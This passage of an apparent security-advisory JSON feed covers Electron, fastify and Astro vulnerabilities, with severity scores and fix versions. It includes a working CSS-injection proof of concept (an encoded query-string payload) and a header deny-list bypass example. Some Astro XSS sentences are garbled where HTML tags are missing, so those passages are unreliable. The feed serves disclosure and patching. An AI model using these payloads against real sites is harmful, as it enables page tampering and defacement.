43.7.3\nelectron: >= 44.0.0-alpha.1, < 44.4.3\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.9","action":"GitHub lists first patched versions: electron: 42.11.6; electron: 43.7.3; electron: 44.4.3; electron: 45.0.0-alpha.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:44:33.000Z","updatedAt":"2026-10-22T16:44:34.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Apple macOS","Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.9,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:L/I:N/A:L","sourceUrl":"https://github.com/advisories/GHSA-h3v5-h239-pg29","asOf":"2026-10-22T16:44:34.000Z"},"epss":{"probability":0.00185,"percentile":0.08066,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114124&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h3v5-h239-pg29","url":"https://github.com/advisories/GHSA-h3v5-h239-pg29","type":"primary","publishedAt":"2026-10-22T16:44:33.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-h3v5-h239-pg29, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114124&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114124, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114121","cveId":"CVE-2026-114121","aliases":["GHSA-997q-gvvc-jwmx"],"kind":"vulnerability","title":"Electron: openExternal permission requests can be attributed to the wrong origin","summary":"Apps are only affected if they grant `openExternal` based on the requesting origin and let untrusted content open or navigate windows. Apps whose permission handler denies `openExternal` for untrusted content are not affected.","detail":"### Impact\nRequests to open external protocol URLs could be attributed to a document other than the one that asked for them, so the `requestingUrl` passed to `session.setPermissionRequestHandler` was a trusted origin for a launch untrusted content had requested. An origin-based handler could therefore let untrusted content launch an OS-registered external application.\n\nApps are only affected if they grant `openExternal` based on the requesting origin and let untrusted content open or navigate windows. Apps whose permission handler denies `openExternal` for untrusted content are not affected.\n\n### Workarounds\nDeny the `openExternal` permission for untrusted content, or deny the windows it opens with `setWindowOpenHandler`.\n\n### Fixed Versions\n* `45.0.0-alpha.5`\n* `44.3.0`\n* `43.7.0`\n* `42.11.3`\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@electronjs.org](mailto:security@electronjs.org)\n\nAffected package ranges reported by GitHub:\nelectron: < 42.11.3\nelectron: >= 43.0.0-alpha.1, < 43.7.0\nelectron: >= 44.0.0-alpha.1, < 44.3.0\nelectron: >= 45.0.0-alpha.1, < 45.0.0-alpha.5","action":"GitHub lists first patched versions: electron: 42.11.3; electron: 43.7.0; electron: 44.3.0; electron: 45.0.0-alpha.5. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:43:59.000Z","updatedAt":"2026-10-22T16:44:01.000Z","regions":["Global"],"vendor":null,"product":"electron, electron, electron, electron","stacks":["Electron","JavaScript packages (npm)","electron","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-997q-gvvc-jwmx","asOf":"2026-10-22T16:44:01.000Z"},"epss":{"probability":0.00219,"percentile":0.12251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114121&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-997q-gvvc-jwmx","url":"https://github.com/advisories/GHSA-997q-gvvc-jwmx","type":"primary","publishedAt":"2026-10-22T16:43:59.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-997q-gvvc-jwmx, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114121&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114121, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107832","cveId":"CVE-2026-107832","aliases":["GHSA-389g-gv7q-r4x8"],"kind":"vulnerability","title":"fastify is vulnerable to header validation bypass via case-sensitive propertyNames","summary":"Fastify lowercases header names in a `headers` schema before compilation, because Node.js stores request header names in lowercase. This normalization does not reach the header names held in a `propertyNames` subschema's `enum` and `const`. A header-name deny-list written in the canonical header case, such as `propertyNames: { not: { enum: ['X-Debug-Override'] } }`, therefore never matches the lowercased request headers, and the forbidden header reaches the handler. Any application that uses a `propertyNames` deny-list or allow-list to constrain request header names does not get the constraint it expects. The same rule written in lowercase works, and the `not: { required: [...] }` form is unaffected, so this is a gap in the built-in normalization rather than a wrong schema. This is an incomplete fix of CVE-2026-84428 ([GHSA-9q9j-q6p8-xq58](https://github.com/fastify/fastify/security/advisories/GHSA-9q9j-q6p8-xq58)), whose normalization covered header names used as property keys but not those used as values inside `propertyNames`.\n\nUsers should upgrade to fastify `5.12.6` or later, which lowercases header names held in `enum` and `const` inside a `propertyNames` subschema so they match the lowercased request headers. Header-name constraints that cannot be normalized automatically, regular expressions (`propertyNames` `pattern` and `patternProperties` keys) and a `$ref` used inside `propertyNames`, are documented and, for the `$ref` case, warned at startup (`FSTSEC003`). Author those to match the lowercased request headers.","detail":"### Impact\n\nFastify lowercases header names in a `headers` schema before compilation, because Node.js stores request header names in lowercase. This normalization does not reach the header names held in a `propertyNames` subschema's `enum` and `const`. A header-name deny-list written in the canonical header case, such as `propertyNames: { not: { enum: ['X-Debug-Override'] } }`, therefore never matches the lowercased request headers, and the forbidden header reaches the handler. Any application that uses a `propertyNames` deny-list or allow-list to constrain request header names does not get the constraint it expects. The same rule written in lowercase works, and the `not: { required: [...] }` form is unaffected, so this is a gap in the built-in normalization rather than a wrong schema. This is an incomplete fix of CVE-2026-84428 ([GHSA-9q9j-q6p8-xq58](https://github.com/fastify/fastify/security/advisories/GHSA-9q9j-q6p8-xq58)), whose normalization covered header names used as property keys but not those used as values inside `propertyNames`.\n\n### Patches\n\nUsers should upgrade to fastify `5.12.6` or later, which lowercases header names held in `enum` and `const` inside a `propertyNames` subschema so they match the lowercased request headers. Header-name constraints that cannot be normalized automatically, regular expressions (`propertyNames` `pattern` and `patternProperties` keys) and a `$ref` used inside `propertyNames`, are documented and, for the `$ref` case, warned at startup (`FSTSEC003`). Author those to match the lowercased request headers.\n\n### Workarounds\n\nWrite the `propertyNames` header-name constraint in lowercase (for example `enum: ['x-debug-override']`), or enforce the header check in an `onRequest` or `preValidation` hook instead of the schema.\n\nAffected package ranges reported by GitHub:\nfastify: >= 5.12.2, < 5.12.6","action":"GitHub lists first patched versions: fastify: 5.12.6. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:40:35.000Z","updatedAt":"2026-10-22T16:40:37.000Z","regions":["Global"],"vendor":null,"product":"fastify","stacks":["JavaScript packages (npm)","fastify","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","sourceUrl":"https://github.com/advisories/GHSA-389g-gv7q-r4x8","asOf":"2026-10-22T16:40:37.000Z"},"epss":{"probability":0.00257,"percentile":0.17201,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107832&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-389g-gv7q-r4x8","url":"https://github.com/advisories/GHSA-389g-gv7q-r4x8","type":"primary","publishedAt":"2026-10-22T16:40:35.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-389g-gv7q-r4x8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107832&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107832, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114128","cveId":"CVE-2026-114128","aliases":["GHSA-98hj-9722-w3j8"],"kind":"vulnerability","title":"Astro: Reflected/Stored XSS via unescaped <script>/<style> tag content in JSX/MDX rendering","summary":"Astro's JSX and MDX rendering pipeline treated string children of ``, an attacker-controlled value containing ` ` or ` ` could terminate the element and inject arbitrary HTML and JavaScript.\n\nOther JSX expression contexts escaped dynamic strings automatically. This behavior was limited to `` passed to `` was emitted without escaping. The browser interpreted the first closing tag as markup and executed the injected script.","detail":"## Summary\n\nAstro's JSX and MDX rendering pipeline treated string children of ``, an attacker-controlled value containing ` ` or ` ` could terminate the element and inject arbitrary HTML and JavaScript.\n\nOther JSX expression contexts escaped dynamic strings automatically. This behavior was limited to `` passed to `` was emitted without escaping. The browser interpreted the first closing tag as markup and executed the injected script.\n\nThe fix preserves raw rendering for literal script and style content while escaping dynamic string children like other JSX expression values.\n\n## Impact\n\nAffected applications could be vulnerable to reflected or stored cross-site scripting. Exploitation required an application to pass attacker-controlled data directly as a dynamic child of a ` ` or ` ` element in MDX or through the `astro:jsx` runtime. Successful exploitation allowed arbitrary JavaScript execution in the victim's browser under the application's origin.\n\n## Patches\n\nThis issue is patched in `astro@7.3.2`.\n\n## Workarounds\n\nDo not interpolate untrusted dynamic values directly into ` ` or ` ` element children. Applications that cannot upgrade should validate and contextually encode these values before rendering them.\n\n## Credit\n\nReported by [@RKasai127](https://github.com/RKasai127).\n\nAffected package ranges reported by GitHub:\nastro: < 7.3.2","action":"GitHub lists first patched versions: astro: 7.3.2. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:30:26.000Z","updatedAt":"2026-10-22T16:30:27.000Z","regions":["Global"],"vendor":null,"product":"astro","stacks":["JavaScript packages (npm)","astro","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","sourceUrl":"https://github.com/advisories/GHSA-98hj-9722-w3j8","asOf":"2026-10-22T16:30:27.000Z"},"epss":{"probability":0.00321,"percentile":0.24858,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-98hj-9722-w3j8","url":"https://github.com/advisories/GHSA-98hj-9722-w3j8","type":"primary","publishedAt":"2026-10-22T16:30:26.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-98hj-9722-w3j8, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114128, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114127","cveId":"CVE-2026-114127","aliases":["GHSA-mpr7-6m5w-76rw"],"kind":"vulnerability","title":"Astro: Arbitrary CSS injection in Astro View Transitions","summary":"Astro's server-side View Transition CSS generator did not keep string animation properties within their generated CSS declarations. In an application that passes attacker-controlled data into an animation property such as `duration`, a value containing CSS delimiters could terminate the declaration and rule, then add attacker-selected CSS to the server-rendered page.\n\nThe injected content remains inside the generated ` ` element. It cannot terminate that element or inject HTML or JavaScript because Astro escapes ` ` element. CSS delimiters such as `;`, `{`, and `}` remained active, allowing a value to escape its intended declaration and add another rule.","detail":"### Summary\n\nAstro's server-side View Transition CSS generator did not keep string animation properties within their generated CSS declarations. In an application that passes attacker-controlled data into an animation property such as `duration`, a value containing CSS delimiters could terminate the declaration and rule, then add attacker-selected CSS to the server-rendered page.\n\nThe injected content remains inside the generated ` ` element. It cannot terminate that element or inject HTML or JavaScript because Astro escapes ` ` element. CSS delimiters such as `;`, `{`, and `}` remained active, allowing a value to escape its intended declaration and add another rule.\n\nThe shared serializer handles `duration`, `delay`, `easing`, `direction`, `fillMode`, and animation names, so custom transition objects using those string properties followed the same path.\n\nThe fix encodes CSS declaration delimiters while serializing each animation value. Supported CSS functions and strings, including `calc()` and `var()`, remain unchanged.\n\n### Proof of Concept\n\nUsing `astro@7.3.2`, create an on-demand rendered page:\n\n```astro\n---\nimport { fade } from \"astro:transitions\";\nconst duration = Astro.url.searchParams.get(\"duration\") ?? \"1ms\";\n---\n SAFE\n\n```\n\nRequest the page with:\n\n```text\n/?duration=1ms%3B%7D%23target%7Bcolor%3Argb(1%2C2%2C3)%3Bfont-size%3A37px%7Dx%7Banimation-duration%3A1ms\n```\n\nBefore the fix, the generated stylesheet contains an active rule equivalent to:\n\n```css\n#target {\n color: rgb(1, 2, 3);\n font-size: 37px;\n}\n```\n\nIn Chromium, the target's computed styles change to `rgb(1, 2, 3)` and `37px`. This behavior is reproducible in a production standalone SSR build, not only in the development server.\n\n### Impact\n\nAn attacker can inject CSS into the affected application's rendered page when the application places attacker-controlled data into a transition animation value. The CSS can restyle or conceal content, reposition existing controls, add generated text, or otherwise misrepresent the page's UI.\n\nCSS selectors and conditional resource loads may expose data already present in selectable DOM attributes in some applications, depending on the page and its Content Security Policy. The issue does not expose cookies, server-only values, arbitrary DOM text, or cross-origin response data by itself.\n\n### Affected Versions\n\n`astro >= 7.1.0, ` element and injecting HTML or JavaScript.\n\n### Patched Versions\n\nThis issue is patched in `astro@7.3.3`. Fix: https://github.com/withastro/astro/pull/17970\n\n### Workarounds\n\nDo not pass untrusted or request-derived values into View Transition animation properties. If dynamic values are required, validate them according to the expected CSS grammar before constructing the transition. For `duration` and `delay`, prefer finite numbers or strictly validated CSS time values.\n\n### Credits\n\nReported by @avrlab233.\n\nAffected package ranges reported by GitHub:\nastro: >= 7.1.0, <= 7.3.2","action":"GitHub lists first patched versions: astro: 7.3.3. Confirm the affected range and upgrade guidance in the exact 